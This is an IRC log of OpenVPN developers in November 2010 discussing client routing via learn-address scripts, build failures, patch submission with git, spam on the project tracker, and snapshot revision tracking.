<@cron2> monas: basically, what you're asking for is just not implemented yet (*and* it might conflicht with --user, if that's used on the server) 05:01 <@cron2> dazo: stop telling monas that what he wants is not useful, I want it as well :-) 05:02 < monas> cron2: thanks! :-) 05:02 <@cron2> monas: you can do what you want (I have the same use case: add new "leaf site" with a network behind, don't want to restart the server) with a learn-address script 05:02 <@cron2> openvpn will call "--learn-address $scriptname" for each new "iroute" that shows up in ccd files 05:03 <@dazo> cron2: heh :) I can see that in some setups it's useful ... but I'm worried that we make OpenVPN cover much more than it should ... I'd rather push such tasks to other modules which can do that job perfect, than to extend the OpenVPN core with features which are less used and thus might bring more bugs 05:03 <@cron2> I have not tried whether it can do everything that "route in ccd file" would be able to do, but in theory, it should be fairly straightforward 05:04 <@cron2> dazo: OpenVPN does all of this already - learn about route, install route in kernel ("route" command). The only thing it does not yet do is "install the new route on-demand when client connects" 05:04 <@cron2> that's why "route" is not allowed in ccd/ files 05:04 < monas> dazo: as for dynamic routes, OpenVPN kind of does this! 05:05 <@cron2> *real* dynamic routing cannot be done with OpenVPN/p2mp tun - you need tap or p2p tun for that 05:06 < monas> dazo: I have topology of 3 center star; I push to clients routes with small metric for center network, and with big metric for all other 05:06 <@dazo> well, it sets up routes it is told (configured) to setup ... it don't have any automation, does it? Well, you have iroute, but that's just internally inside OpenVPN 05:06 <@cron2> dazo: basically the "route in ccd/" feature is on my TODO list, but given that it can be worked around by --learn-address, it's not high prio 05:07 < monas> so, if user is lazy and connects just to one center, he has connection over that center; if he connects to another, then he may get better performance 05:07 <@dazo> cron2: thus I 05:07 <@cron2> dazo: well, "does not have any automation" really depends on how you distinguish between "configured" and "automation" - which one is ccd/ ? "configuration" or "automatic"? 05:08 <@dazo> cron2: thus I'm suggesting to put that as a separate module ... a plug-in which forks out a process with root privileges, and then can modify the routing table on request ... that way, you won't need to modify too much of the existing OpenVPN code 05:08 <@dazo> and this will then also work with --user/--group 05:08 <@cron2> dazo: uah 05:08 <@cron2> extra processes sounds like "lot more stuff" to me 05:08 <@cron2> and then you have to duplicate all the system dependent "how do I install a route?" stuff from route.c into the external process 05:09 <@cron2> that's my major gripe with --learn-address - adding/deleting route is very nonportable, and OpenVPN route.c already knows how that works for all platforms 05:10 <@dazo> I see that one ... but it should be able to "borrow" those functions from route.c? Or are they that specific to the role they've been written for? 05:10 <@dazo> (meaning, specific to the role inside the OpenVPN core) 05:10 <@cron2> more interdependencies between projects... change route.c, break plugin... 05:11 <@cron2> well, it certainly could be done, but I don't think this is the right approach for short term - for long-term, it might indeed make sense to separate out *all* route handling (even what is in the core today) to a privileged process 05:11 <@cron2> ... which would be a service on windows... 05:11 <@dazo> mm 05:11 <@cron2> ... and also the "ifconfig" stuff... 05:12 <@dazo> for a short-term solution, you have --learn-address scripts ... but I'm thinking more long-term ... as that is code we can more easily bring over to the OpenVPN3 base 05:13 <@cron2> I'm not sure I'll live long enough to see OpenVPN 3, given our release speed :-) 05:14 <@dazo> heh :) 05:14 < monas> cron2: thanks for --learn-address pointer 05:14 <@dazo> I still have a hope :) 05:14 <@cron2> but anyway - yes, things to keep in mind for the new architecture 05:15 < monas> and for telling that it is not allowed because nobody implemented it (i.e. there are no fundamental obstacles) 05:18 <@cron2> monas: well, it's not exactly straightforward, as the code for handling multiple clients is a bit tricky - it can certainly be done, but it's more than "just add 5 lines of code" 05:21 < monas> cron2: I did not expected implementation to be trivial 05:24 -!- dazo is now known as dazo_afk 05:28 -!- dazo_afk is now known as dazo 05:31 * dazo cheers for cron2's encouragement to JJK :) 05:36 <@cron2> :) 05:43 <@dazo> cron2: https://community.openvpn.net/openvpn/ticket/59 ... is that something you will look more into? 05:43 <@vpnHelper> Title: #59 (Tap version condition error on Win32) – OpenVPN Community (at community.openvpn.net) 05:43 <@dazo> or should we look more at that issue? 05:52 <@cron2> well, he's right - if we ever release TAP driver with a higher version number, that check will fail 05:53 <@cron2> so one could change the check, assuming that higher major versions will always be fully compatible. Which is a dangerous assumption - why would we want to change the major version, except to introduce incompatiblities? 05:53 <@dazo> yeah ... we shouldn't presume that 05:54 <@dazo> with minor versions, I'd say it's fine ... but not for major versions 06:15 <@dazo> mattock: you might want to check out the josephho user account in Trac/forum ... sent spam to Trac (ticket #65) 06:15 <@dazo> ecrist: ^^ 06:15 <@mattock> lemme check 06:16 <@mattock> yeah, needs to be deactivate, even though acne _is_ a difficult problem for many people 06:17 <@dazo> mattock: I sure believe you ... but I'm struggling to see how to write an OpenVPN patch for it ;-) 06:17 <@mattock> yeah :) 06:18 * dazo imagines our next slogan ... "Got acne issues? Install the latest OpenVPN and your worries are gone!" 06:18 <@mattock> ok, changed password and marked as spammer... not able to login anymore 06:18 <@dazo> thx! 06:21 <@mattock> second spam to trac... although there have been a few false positives caused by Akismet behaving badly 06:22 <@mattock> which is even more annoying than occasional spam getting through 06:24 <@dazo> mm 06:25 <@dazo> the one which has the highest failure rate (false positives or not catching real positives) is always going to be the annoying one ;-) 06:27 <@mattock> the problem is that Bayesian filtering would probably work best... but it needs to be fed spam, which we don't get 06:27 <@mattock> except now, of course 06:31 <@dazo> heh ... yeah, I see that one 06:32 <@mattock> dazo: is there any way to remove untracked files with some git magic? 06:32 <@mattock> stuff that autoconf created 06:32 <@dazo> ./doclean 06:32 <@mattock> ok, thanks! 06:42 -!- delroth [~delroth@dhaos.delroth.net] has quit [Ping timeout: 245 seconds] 06:42 -!- delroth [~delroth@dhaos.delroth.net] has joined #openvpn-devel 06:47 <@mattock> dazo: can I base my build system fixes against the beta2.2 branch? 06:47 <@dazo> not sure exactly what you mean with "build system fixes against beta2.2" ... 06:47 <@dazo> ahh 06:47 <@dazo> now I think I know what you mean :) 06:48 <@dazo> yeah, I think that's fine 06:48 <@dazo> it's not happening much there, so those patches should fit in "everywhere" 06:50 <@mattock> ok, excellent... git-format-patch? 06:50 <@dazo> yeah ... for the last commit ... git format-patch HEAD~1 .... for the 5 last commits .... git format-patch HEAD~5 06:53 <@mattock> ok 07:17 -!- dazo is now known as dazo_afk 07:25 <@mattock> is it ok if I just attach this patch file (not copy and paste) to and email? http://pastie.org/1292548 07:35 * ecrist works hard at breaking the wiki, succeeds 08:15 <@mattock> ecrist: how did you manage? 08:15 < ecrist> I'm trying to upgrade my wiki to SVN HEAD from mediawiki 08:15 < ecrist> it doesn't seem to want to upgrade my database. 08:16 <@mattock> oh, mediawiki... 08:17 < ecrist> yeah, not trac 08:36 -!- dazo_afk is now known as dazo 08:38 <@dazo> mattock: basically just attach them. copy-paste may or may not work, as the mail clients tend to break long lines differently ... if you're planning on sending more patches, I recommend setting up git-send-email, then git can send these patches in a correct way for you 08:39 <@mattock> ok, I'll setup git so that I don't have to edit the files over a slow RDP connection with Wordpad :) 08:40 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 08:40 <@mattock> and check git-send-email 08:40 <@dazo> heh :) .... there a quick'n'dirty how-to on setting up git-send-email in our wiki 08:41 <@dazo> btw ... notice that your subject is veeeery long ... so if you add a shorter first-liner when you do commit, then a blank line and a more comprehensive description, I'll be happy :) 08:41 <@dazo> (if you only have done one commit ... you can change this easily by doing git commit --amend) 08:44 <@mattock> ok, short it is then 08:44 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 09:18 <@dazo> hehe .... facebook's IPv6 address: 2620:0:1cfe:face:b00c::3 :) 09:19 < ecrist> nice 09:19 * dazo emphasizes this part: face:b00c 09:55 <@mattock> ok, sending my first patches to openvpn-devel... please be kind :) 09:57 <@dazo> mattock: no way! ;-) 09:58 <@dazo> ugh ... my mail provider got some issues with the IMAP server ... 09:59 <@mattock> ok, two patches sent... let's see I'll get cut into small pieces and humiliated... ;) 09:59 <@mattock> if I'll 09:59 <@dazo> nah ... I'm acking the first one pretty easily :) 10:01 <@dazo> mattock: the second patch ... I'd probably suggest that you print some kind of notification that the sign import or sign() call failed in the except section ... otherwise very fine! 10:02 <@mattock> dazo: yes, probably a good idea 10:06 <@mattock> hmm, simple print 'something' seems to be used in some of the files 10:06 <@dazo> yeah, that's what I'd expect without having seen the complete code 10:10 <@mattock> is it ok to generate a second patch that applies over the earlier patch? Or do I need to generate one "super" patch? 10:10 * ecrist guesses one 'super' patch is more approriate 10:11 <@dazo> mattock: I have no strong feelings about that ... on simple stuff, I usually just do a git reset --soft HEAD^1 do the change and do a new commit 10:12 <@dazo> on more bigger changes, a separate patch is better 10:12 <@mattock> ok, I already tried git reset --hard, so I'll try --soft too 10:12 <@dazo> ouch 10:12 <@dazo> dont 10:12 <@dazo> if you've done git reset --hard ... you've already thrown out that commit from your repository 10:13 <@mattock> no probs, that was earlier, not now 10:13 <@dazo> ahh :) 10:13 <@dazo> don't scare me like that!!! :-P 10:13 <@mattock> ok, I'll try to remember you can freak out like this ;) 10:15 <@dazo> git reset is dangerous ... a lot of things you do there can not be undone .... while other things in git can often be restored more easily 10:15 <@mattock> oh, git reset --soft is great! 10:15 <@dazo> yeah, --soft is a nice tool 10:22 <@mattock> ok, before I pollute -devel again: http://pastie.org/1292998 10:25 <@dazo> mattock: go for it! 10:25 <@mattock> ok 10:49 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:55 -!- monas [~kaspar@217.117.30.121] has quit [Read error: Operation timed out] 11:09 * dazo brb 11:10 -!- dazo is now known as dazo_afk 11:11 -!- dazo_afk is now known as dazo 11:45 <@mattock> ok, hopefully last mail today about build_all.py :) 11:46 <@mattock> my wife already says I'm crazy to just sit here and write email after email :D 11:47 <@cron2> hehe 11:48 <@cron2> my wife is a computer science pro, so she knows that sometimes "programmers just happen" and she can handle it :-) 11:49 < krzee> damn 11:49 < krzee> lucky! 11:49 * dazo thinks cron2 did a good choice for a wife 11:49 < krzee> yes 11:49 * krzee agrees 11:49 <@cron2> dazo, krzee: indeed 11:50 * dazo agrees with mattock's last mail 12:15 -!- monas [~kaspar@78-57-177-25.static.zebra.lt] has joined #openvpn-devel 12:53 <@mattock> dazo: ok, I'll do some tweaks and generate a new patch 12:53 <@dazo> mattock: thx! Sorry for making this a "never ending patch" :) 12:53 <@mattock> no problem, peter started it :) 12:53 <@dazo> heh :) 13:00 <@mattock> and it was good discussion 13:02 <@dazo> sure was! 13:04 * dazo brb 13:05 -!- dazo is now known as dazo_afk 13:09 -!- dazo_h [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:09 -!- mode/#openvpn-devel [+o dazo_h] by ChanServ 13:09 -!- dazo_h is now known as dazo 13:18 <@dazo> !irclog 13:18 <@vpnHelper> dazo: Error: "irclog" is not a valid command. 13:18 <@dazo> !log 13:18 <@vpnHelper> dazo: Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified. 13:28 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:28 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:41 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:50 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:41 <@dazo> delroth: you around? 14:42 <@dazo> delroth: never mind ... I think I found what I needed :) 14:52 * cron2 congrats delroth to his patch going in :-) 15:12 <@cron2> dazo: ok, thanks for the solaris merge. I'll see what I can do about ipv6_payload - tonight is too late, but "this weekend should be possible" 15:12 <@dazo> cron2: cool! thx a lot! I'm sorry I haven't managed it earlier 15:12 <@dazo> (should be done weeks ago) 15:17 <@cron2> well, this is open source - sometimes it's a frenzy, sometimes everybody needs to do paid-for work (or tend unhappy children) 15:17 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 16:55 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 16:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 17:00 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 265 seconds] 17:42 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 18:04 <@dazo> cron2: I've merged in stuff to allmerged now ... but I see there's some merge conflicts with the Solaris tun.c sections ... so please let me know when you're ready, and I'll complete the feat_misc merger 18:05 <@dazo> beta2.2 is updated too 18:30 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] --- Day changed Sat Nov 13 2010 00:26 -!- monas [~kaspar@78-57-177-25.static.zebra.lt] has quit [Read error: Operation timed out] 00:30 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 00:58 -!- monas [~kaspar@88.119.154.240] has joined #openvpn-devel 03:19 -!- Netsplit *.net <-> *.split quits: monas 03:21 -!- monas [~kaspar@2002:5877:9af0:1000:217:8ff:fe4b:9b21] has joined #openvpn-devel 04:24 < fkr> hoi 04:24 < fkr> ahoi 04:24 < fkr> i meant 05:29 <@vpnHelper> RSS Update - tickets: #68: Windows route add command failed <https://community.openvpn.net/openvpn/ticket/68> 10:30 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 10:30 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 10:30 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:44 -!- monas [~kaspar@2002:5877:9af0:1000:217:8ff:fe4b:9b21] has quit [Ping timeout: 260 seconds] 11:12 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:12 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:05 -!- monas [~kaspar@78-57-177-25.static.zebra.lt] has joined #openvpn-devel 15:45 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Sun Nov 14 2010 02:30 -!- monas [~kaspar@78-57-177-25.static.zebra.lt] has quit [Quit: Leaving] 03:03 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:28 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:03 -!- dazo_h [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:03 -!- mode/#openvpn-devel [+o dazo_h] by ChanServ 05:05 -!- dazo_h is now known as dazo 05:45 <@dazo> mattock: I've applied your CONFIGURE_DEFINES patch now ... I'm suspecting the "Removed hardcoded signtool dep" patch will come as a v3 patch ... right? 06:25 -!- dazo is now known as dazo_afk_h 07:57 <@mattock> dazo: yes, it'll require a few changes to the other python files, too 07:57 <@mattock> I'll probably have it ready on tuesday 07:58 <@mattock> \o/ 07:58 <@mattock> buildbot triggered builds when you commited to the repo 07:58 <@mattock> check http://10.7.36.101:8010/waterfall 07:59 <@mattock> we got some warning on ubuntu 10.04 amd64 08:48 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 09:40 -!- dazo_afk_h is now known as dazo 10:20 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 13:10 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:10 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:57 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:33 <@dazo> jamesyonan: you around= 15:33 <@dazo> ? 15:33 <@jamesyonan> yeah, I'm here 15:34 <@dazo> jamesyonan: just noticed that your r6568 breaks building with --disable-crypto 15:34 <@dazo> are you aware of that one? 15:35 <@dazo> gcc -g -O2 -o openvpn base64.o buffer.o crypto.o dhcp.o error.o event.o fdmisc.o forward.o fragment.o gremlin.o helper.o httpdigest.o lladdr.o init.o interval.o list.o lzo.o manage.o mbuf.o misc.o mroute.o mss.o mtcp.o mtu.o mudp.o multi.o ntlm.o occ.o pkcs11.o openvpn.o options.o otime.o packet_id.o perf.o pf.o ping.o plugin.o pool.o proto.o proxy.o ieproxy.o ps.o push.o reliable.o route.o schedule.o session_id.o shaper.o sig.o soc 15:35 <@dazo> ket.o socks.o ssl.o status.o thread.o tun.o win32.o cryptoapi.o -lselinux -llzo2 -ldl 15:35 <@dazo> misc.o: In function `get_auth_challenge': 15:35 <@dazo> /home/davids/devel/OpenVPN/openvpn-testing-fresh/misc.c:1641: undefined reference to `base64_decode' 15:35 <@dazo> this is with ./configure --disable-crypto 15:36 <@jamesyonan> ah yes, thanks for noticing that 15:36 <@jamesyonan> I will fix it 15:37 <@dazo> sure, no prob! I was about to look at it, and noticed this is pretty fresh code, so I guessed you might now quicker what to do :) 15:41 <@dazo> there's an issue with options.c as well ... we got a patch for it, but not sure it's the best solution (adding #include <forward.h> to options.c) 15:41 <@dazo> options.c: In function ‘parse_http_proxy_fallback’: 15:41 <@dazo> options.c:1474: error: dereferencing pointer to incomplete type 15:41 <@dazo> options.c:1477: error: dereferencing pointer to incomplete type 15:41 <@dazo> options.c:1478: error: dereferencing pointer to incomplete type 15:41 <@dazo> this is how I discovered the new failure 15:41 <@jamesyonan> dazo: actually I don't quite get why you're seeing the error there in misc.c, because that code is #ifdefed by ENABLE_CLIENT_CR but ENABLE_CLIENT_CR should case the base64 code to be included 15:41 <@jamesyonan> yeah, I'm getting the options.c errors as well 15:47 <@dazo> jamesyonan: http://sourceforge.net/mailarchive/forum.php?thread_name=87fwx08bod.fsf%40macbook.be.48ers.dk&forum_name=openvpn-devel ... that's the original report for options.c 15:47 <@vpnHelper> Title: SourceForge.net: OpenVPN: openvpn-devel (at sourceforge.net) 15:47 <@dazo> jamesyonan: you want to combine that one into your fix? 16:04 <@jamesyonan> dazo: there are two issues actually -- the report that you cited above, and also an issue with including certain code from base64 when challenge/response (ENABLE_CLIENT_CR) is enabled -- I've emailed you a patch 16:05 <@dazo> jamesyonan: cool, perfect! I'll apply that one 16:05 <@jamesyonan> test it first 16:06 <@jamesyonan> I was getting a different sequence of errors than you were 16:07 <@dazo> yeah, I'm working of the bugfix2.1 branch right now, which should be pretty up-to-date with your SVN branch, but with some extra stuff too. That might explain why 16:21 <@dazo> wheeew ... I think I'm finally pretty much up-to-speed with the patch queue again ... 16:26 <@cron2> good work! (greetings from Rome, no time today at all to do hacking...) 16:27 <@dazo> cron2: no worries ... and I'll make sure to nag you regularly about issues with merging feat_misc into allmerged from now on :-P ... And enjoy Rome :) 16:28 <@cron2> we did :-) - nice weather today, sunny, around 20 degrees C, walked around quite a bit, had a very nice dinner (... which took some 3.5 hours... :) ) 16:28 <@dazo> wow :) That sounds lovely! 16:29 <@cron2> rest of the week is full blown conference (RIPE meeting, http://www.ripe.net/ripe/meetings/ripe-61/), so there won't be time for walking or even noticing the weather ;-) 16:29 <@vpnHelper> Title: RIPE 61 Meeting in Rome | 15 - 19 November 2010 (at www.ripe.net) 16:29 <@dazo> cron2: well, now I'm not so envious any longer :-P 16:30 <@dazo> cron2: what's your job? in an ISP? 16:32 <@cron2> dazo: there's no short description for what I do - main stuff is at an ISP, and that's "making sure the junior folks don't break the network", "sysadminning parts of the infrastructure, like VPN servers", "keep contacts with other network engineers in the community" 16:32 <@cron2> ... and the "keep contacts" bit is quite important for efficient and fast troubleshooting if something BIG breaks 16:32 <@dazo> neat! 16:33 <@cron2> yeah, it's a nice mixture of stuff that makes it interesting, even after doing it for 10+ years :-) 16:34 <@dazo> I can imagine :) 16:34 <@cron2> there's little actual "router and switch configuration" these days (because day-to-day stuff is done by the junior folks), but sometimes customers bring up quite interesting challenges, and then it's either "urgent, do it myself" or "not so urgent, get one of $them to learn something new" 16:34 <@dazo> jamesyonan: that patch worked like a charm! 16:34 <@jamesyonan> cool! 16:35 * dazo applies it to bugfix2.1 and does some merges 16:41 * cron2 goes to bed now :-) 16:58 * dazo decides to go to bed too 17:07 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] 18:34 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 264 seconds] 18:35 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel --- Day changed Mon Nov 15 2010 00:34 -!- dazo_afk is now known as dazo 02:53 <@dazo> \o/ I got IPv6 from work via home router ... using OpenVPN allmerged :) 02:54 < krzee> \o/ 02:54 <@dazo> cron2: --push "route-ipv6 0::0/0" worked like a charm to get connected to the "world" 02:54 < krzee> badass 02:54 <@dazo> heh 02:55 <@dazo> well, what to do when the infrastructure guys are not ready with IPv6 internally yet :-P 02:55 <@dazo> (well, internally it is somewhat ready, but not to reach the outside world) 02:55 < krzee> a) you can give them a gateway 02:56 <@dazo> nah ... people have tried that already :) 02:57 <@dazo> it's a big corporation ... with many thousand employees ... I think such big changes just takes more time 02:57 < krzee> ahh 02:57 <@dazo> and I now anyway have a good reason why to test out allmerged better :) 02:58 < krzee> ya they wouldnt see the reason to go through with it, even tho it could be done very cheap and transparent 02:59 <@dazo> yeah ... but they want to have things under some kind of control, and with 40+ office locations around the globe ... I understand they want to do it slowly and carefulyl 02:59 * dazo need to run now ... back tomorrow :) 02:59 < krzee> adios 03:00 -!- dazo is now known as dazo_afk 03:07 <@cron2> dazo: great! :-) 04:42 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 12:11 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:33 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 14:33 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 14:33 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 14:33 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:33 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:42 < ecrist> raidz: who changed the 2.1.4 tarball? the sigs don't match, users are reporting. 14:43 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:43 -!- mode/#openvpn-devel [+o dazo] by ChanServ 14:46 <@raidz> ecrist: I don't think any of us have changed it, Samuli owns the os binaries 14:46 <@raidz> Have you e-mailed him, if not I can shoot him an e-mail 14:47 < ecrist> not yet 14:47 < ecrist> see #openvpn, pls 14:54 < ecrist> raidz: nm, seems reiffert was having local issues. :) 15:00 <@raidz> ahh ok 16:30 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] 17:36 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 23:21 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: Leaving] 23:22 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 276 seconds] 23:26 -!- patelx [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 23:53 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:57 -!- krzee [~k@openvpn/community/support/krzee] has quit [Client Quit] --- Day changed Tue Nov 16 2010 00:11 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 00:11 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 00:11 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:56 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 01:30 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:47 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:49 -!- dazo_afk is now known as dazo 02:50 < krzee> mattock, cookies seem to have an issue on the forum again 03:46 < krzee> if anyone is good with smartcard auth, helping this guy seems like it would lead to better docs available for it 03:46 < krzee> https://forums.openvpn.net/viewtopic.php?f=6&t=7248 03:46 <@vpnHelper> Title: OpenVPN Support Forum View topic - OpenVPN smartcard + CAcert configuration (at forums.openvpn.net) 04:04 <@dazo> krzee: JJK should get involved in that one ... he has shown quite some knowledge here ... 04:10 <@mattock> krzee: ok, strange... 04:13 * dazo wonders how much attention cron2 gives to the RIPE meeting right now .... 04:31 < krzee> dazo, ya man, his cookbook was the first i had learned about those whatsoever... and trust me im still far from learned with it ;] 04:31 <@dazo> :) 04:31 * krzee floods the main channel with forum replies 04:45 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:07 < krzee> dazo, maybe you know what this guy needs 05:07 < krzee> https://forums.openvpn.net/viewtopic.php?f=6&t=7234 05:07 <@vpnHelper> Title: OpenVPN Support Forum View topic - how to get ifconfig-push from client-connect (at forums.openvpn.net) 05:07 < krzee> im off to bed =] 05:07 < krzee> nite 05:21 * dazo looks 07:32 <@vpnHelper> RSS Update - tickets: #69: Client configuration update <https://community.openvpn.net/openvpn/ticket/69> 08:04 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 08:09 <@mattock> krzee: the cookie domain for forums.openvpn.net is correct (forums.openvpn.net)... that was the issue last time 08:10 <@mattock> also, clicking on the forums link you gave to me works fine (=I'm logged in on that page, too) 08:11 <@mattock> any pointers to the problem? 08:17 <@dazo> ecrist: is there a quick way to figure out which git commit your -devel snapshots uses? (except downloading it) 08:31 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 09:11 < ecrist> I can check 09:12 < ecrist> dazo: in the checkout, how can I get your answer? 09:13 < ecrist> what I can probably start doing is outputing a log file that indicates what's there, to my ftp server 09:13 < ecrist> ecrist@cartman:~/openvpn-devel-src/openvpn-devel-> git status 09:13 < ecrist> # On branch allmerged-2010-45 09:14 <@dazo> git rev-list ${GIT_BRANCH} -1 09:14 < ecrist> commit c4e07d47251d5a2965918dd8337de9a57a083afa 09:14 < ecrist> Merge: ad38eb9 22178d0 09:14 < ecrist> Author: David Sommerseth <dazo@users.sourceforge.net> 09:14 < ecrist> Date: Sat Nov 13 00:46:26 2010 +0100 09:14 < ecrist> is the most recent commit from git log 09:15 <@dazo> ecrist: if your script just appends one simple line to a "log" file ... with the file name and the result of git rev-list ... that's good enough actually 09:15 <@dazo> (which is available via ftp) 09:15 * dazo is not sure if he was clear enough now ... 09:15 < ecrist> what do I replace ${GIT_BRANCH} with? 09:15 < ecrist> git still kicks my ass, fwiw 09:16 <@dazo> allmerged-2010-45 f.ex 09:17 <@dazo> git is like a wild cat ... you need to tame it, then it's really nice :) 09:28 < ecrist> ecrist@cartman:~/openvpn-devel-src/openvpn-devel-> git rev-list allmerged-2010-45 -1 09:28 < ecrist> c4e07d47251d5a2965918dd8337de9a57a083afa 09:29 < ecrist> so, if, when I generate the snapshots, would you like a an entry such as : 2010-24: rev-list c4e07d47251d5a2965918dd8337de9a57a083afa 09:29 < ecrist> or what would be most useful to you? 09:33 < ecrist> dazo 09:33 <@dazo> ecrist: yes, that's the index I'd like to see 09:34 <@dazo> you don't need to add the rev-list text ... just the commit ID (or just say 'commit' instead of 'rev-list') 09:34 < ecrist> ok, I'll add it to my scripts and you should see it from now on. 09:34 <@dazo> ecrist: cool! thx a lot! 09:34 < ecrist> do you want it top is newest entry, or top is oldest entry? 09:35 <@dazo> ecrist: doesn't matter, do what's easiest for you ... we can rotate this file when it gets too big, but I'd expect that to take a while 09:36 < ecrist> yeah, I only build once a week 09:36 < ecrist> I'll top-post, seems easiest to me, head revision.log will get you what you need, then. 09:37 <@dazo> cool! 09:38 -!- delroth [~delroth@dhaos.delroth.net] has quit [Ping timeout: 245 seconds] 09:49 <@mattock> dazo: next version of the build_all.py patch on the way 09:49 <@dazo> mattock: cool, thx! I might have some time tomorrow to do more openvpn stuff 09:49 <@mattock> excellent! you've been busy lately, I noticed :) 09:50 <@mattock> with openvpn 09:50 <@mattock> you got one thing in common with our buildbot :D 09:50 <@dazo> heh 09:51 <@dazo> I'm beginning to see what could be a suitable 2.2-beta4 release as well ... I think we're getting ready for that very soon 09:52 <@mattock> ok, I have feeling James will have to generate the Windows installers... unless I manage to add the NSIS stuff to the Python buildsystem real quickly 09:53 <@mattock> I'm hoping it will be relatively straightforward 09:53 <@mattock> btw. it seems that VC build fails if configure.h is not _present_, not only if it can't find the variables defined there 09:53 <@dazo> mattock: yeah ... we'll see what we agree on, we can discuss what we expect/want to see more in beta4 on Thursday 09:53 <@dazo> mattock: ahh ... I think I know what's needed then 09:54 <@mattock> shoot 09:54 <@dazo> #ifdef _MSCVER_ 09:54 <@dazo> #include "condfigure.h" 09:54 <@dazo> #endif 09:54 <@dazo> you'll need something like that in options.c 09:54 <@dazo> #ifndef 09:55 <@mattock> can we rely on _MSCVER_ being there? 09:55 <@cron2> dazo: I'm actually paying attention to the RIPE meeting (just looked in here for the first time today) :-) - and I won't make this day's Thursday meeting either 09:56 <@dazo> cron2: how do you want the spelling - to get your ACK? "Socks" or "SOCKS" ? ;-) 09:56 <@mattock> cron2: too bad you won't make it... I hope we get James onboard 09:56 * dazo presumes cron2 can give an ACK here if he is promised to get the spelling correct 09:56 <@mattock> dazo: there was something wrong with the "authenticantion" or something 09:56 <@dazo> mattock: just compiler warnings ... and it ended up to harden it a little bit 09:57 <@mattock> I mean with the spelling :)... a funny mistake 09:57 <@dazo> yeah ... It's obvious cron2 is German :-P 09:58 < ecrist> dazo, I think I've got the script updated and working 09:59 <@dazo> ecrist: cool! 09:59 < ecrist> I'm running a quick test now 09:59 <@mattock> dazo: "Authentiaction not possible" -> "Authentication not possible" 10:00 <@dazo> gah 10:00 <@dazo> that I didn't see at all 10:00 <@dazo> heh ... that's a action filled auth process! 10:05 < ecrist> dazo: the revision.log is now pushed to my ftp servers 